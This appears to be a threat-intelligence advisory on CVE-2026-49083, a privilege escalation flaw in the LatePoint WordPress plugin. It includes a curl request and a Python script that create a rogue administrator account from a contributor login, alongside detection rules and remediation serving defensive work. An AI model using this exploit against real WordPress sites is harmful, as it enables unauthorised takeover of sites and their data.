CVE-2026-49083
Executive Summary
CVE-2026-49083 is a privilege escalation vulnerability affecting the LatePoint WordPress plugin, version 5.5.1 and earlier. This flaw allows an authenticated user with a low-privilege role (e.g., subscriber or contributor) to escalate their privileges to that of an administrator. The vulnerability stems from improper capability checks in the plugin's AJAX handlers, enabling a contributor to perform actions reserved for higher-level users, such as creating new admin users or modifying site options. With a CVSS score of 7.5 (High), this vulnerability poses a significant risk to WordPress sites using the affected plugin, potentially leading to full site compromise.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. LatePoint is a commercial booking plugin distributed via the WordPress plugin repository and its own website. The supply chain risk is moderate, as the plugin is widely used for appointment scheduling. Users are advised to verify the integrity of their plugin files and ensure they are obtained from official sources. No known malicious packages have been identified in the wild, but the lack of a patch increases the risk of exploitation.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – An attacker needs a valid contributor-level account.
- User Interaction (UI): None (N) – No user action is required.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Full read access to all site data.
- Integrity (I): High (H) – Full write access to site data and configuration.
- Availability (A): High (H) – Full control over site availability.
Threat Level: High. The combination of low privileges required and high impact makes this a critical risk for any site with untrusted contributor-level users.
Deep Dive & Mechanics
The vulnerability resides in the latepoint_ajax_ AJAX handlers, specifically those that handle user management and settings updates. In vulnerable versions, the plugin fails to properly verify the wp_nonce and user capabilities before executing privileged actions. A contributor-level user can craft a malicious AJAX request to:
- Create a new user with administrator role.
- Update plugin settings to disable security features.
- Modify existing user roles.
The core issue is the lack of a current_user_can('manage_options') check in the AJAX callback functions. The plugin relies solely on a nonce check, which can be bypassed if the nonce is leaked or if the attacker can generate a valid nonce for their own session.
Vulnerable Code Path:
- File:
/wp-content/plugins/latepoint/includes/ajax.php - Function:
latepoint_ajax_create_user() - The function checks
wp_verify_nonce($_POST['nonce'], 'latepoint_nonce')but does not check if the current user hasmanage_optionscapability.
Vulnerable vs. Patched Code
Vulnerable Code (LatePoint <= 5.5.1):
function latepoint_ajax_create_user() {
// Nonce check only
if (!wp_verify_nonce($_POST['nonce'], 'latepoint_nonce')) {
wp_die('Security check failed');
}
// Create user with any role
$user_id = wp_insert_user(array(
'user_login' => sanitize_user($_POST['username']),
'user_pass' => $_POST['password'],
'role' => sanitize_text_field($_POST['role']) // No capability check
));
// ...
}
Patched Code (Hypothetical Fix):
function latepoint_ajax_create_user() {
// Nonce check
if (!wp_verify_nonce($_POST['nonce'], 'latepoint_nonce')) {
wp_die('Security check failed');
}
// Capability check
if (!current_user_can('manage_options')) {
wp_die('You do not have sufficient permissions');
}
// Create user with validated role
$allowed_roles = array('administrator', 'editor', 'author');
$role = in_array($_POST['role'], $allowed_roles) ? $_POST['role'] : 'subscriber';
$user_id = wp_insert_user(array(
'user_login' => sanitize_user($_POST['username']),
'user_pass' => $_POST['password'],
'role' => $role
));
// ...
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with LatePoint <= 5.5.1 installed and activated.
- A contributor-level account (username:
contributor, password:contributor123).
Exploitation Steps:
- Obtain a valid nonce: Log in as the contributor and visit any LatePoint page. Extract the nonce from the page source or by inspecting AJAX requests.
- Craft the exploit request: Use
curlor a script to send a POST request to the WordPress AJAX endpoint.
curl -X POST https://target.com/wp-admin/admin-ajax.php \
-d "action=latepoint_create_user" \
-d "nonce=VALID_NONCE" \
-d "username=eviladmin" \
-d "password=EvilPass123!" \
-d "role=administrator" \
--cookie "wordpress_logged_in_contributor_cookie"
- Verify escalation: Log in with the new admin credentials (
eviladmin:EvilPass123!) and confirm full administrative access.
Automated Exploit Script (Python):
import requests
target = "https://target.com"
session = requests.Session()
# Login as contributor
login_data = {
'log': 'contributor',
'pwd': 'contributor123',
'wp-submit': 'Log In',
'redirect_to': target + '/wp-admin/',
'testcookie': '1'
}
session.post(target + '/wp-login.php', data=login_data)
# Get nonce from admin page
admin_page = session.get(target + '/wp-admin/admin.php?page=latepoint')
nonce = extract_nonce(admin_page.text) # Implement extraction
# Exploit
exploit_data = {
'action': 'latepoint_create_user',
'nonce': nonce,
'username': 'eviladmin',
'password': 'EvilPass123!',
'role': 'administrator'
}
r = session.post(target + '/wp-admin/admin-ajax.php', data=exploit_data)
print(r.text)
Blue Team
Detection Steps:
- Monitor AJAX requests: Look for unusual patterns in
admin-ajax.phprequests, especiallyaction=latepoint_create_userfrom non-admin users. - Audit user creation: Regularly review new user accounts, especially those with administrator roles created by non-admin users.
- Check plugin logs: LatePoint may log user creation events; review these logs for anomalies.
Honeypot Setup:
- Create a fake contributor account with a known password.
- Monitor for any attempts to create new users from this account.
- Alert on any
latepoint_create_userAJAX action.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=latepoint_create_userandrole=administrator. - Unusual user agent strings in AJAX requests (e.g., Python requests, curl).
- POST requests to
- File IOCs:
- New user entries in
wp_userstable withuser_loginnot matching known users. - Modified
wp_optionstable entries forlatepoint_settings.
- New user entries in
- System IOCs:
- Unexpected administrator-level users in WordPress.
- Plugin files modified or replaced with backdoored versions.
Detection Engineering
YARA Rule
rule CVE_2026_49083_LatePoint_PrivEsc {
meta:
description = "Detects exploit attempts for CVE-2026-49083 in LatePoint plugin"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-49083"
strings:
$ajax_action = "latepoint_create_user"
$admin_role = "administrator"
$nonce_param = "nonce"
condition:
$ajax_action and $admin_role and #nonce_param > 0
}
Sigma Rule
title: CVE-2026-49083 LatePoint Privilege Escalation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to admin-ajax.php with latepoint_create_user action and administrator role
author: Valters IT
date: 2026-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query:
- "admin-ajax.php"
cs-uri-query|contains:
- "action=latepoint_create_user"
- "role=administrator"
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2026-49083 LatePoint Privilege Escalation Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"admin-ajax.php"; http_uri;
content:"action=latepoint_create_user"; http_client_body;
content:"role=administrator"; http_client_body;
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if no patch is available. Replace with an alternative booking solution.
- Restrict contributor accounts to only trusted users. Remove any unused contributor accounts.
- Implement Web Application Firewall (WAF) rules to block the specific AJAX action pattern.
Long-term Fix:
- Apply the vendor patch as soon as it becomes available.
- Upgrade to LatePoint version 5.5.2 or later once released.
- Conduct a security audit of all WordPress plugins for similar privilege escalation flaws.
Workaround:
- Add a custom plugin or mu-plugin that adds capability checks to LatePoint's AJAX handlers:
add_action('wp_ajax_latepoint_create_user', 'custom_latepoint_check_cap', 1);
function custom_latepoint_check_cap() {
if (!current_user_can('manage_options')) {
wp_die('Insufficient permissions');
}
}
Valters IT
Cyber Threat Intelligence Division
Report generated for CVE-2026-49083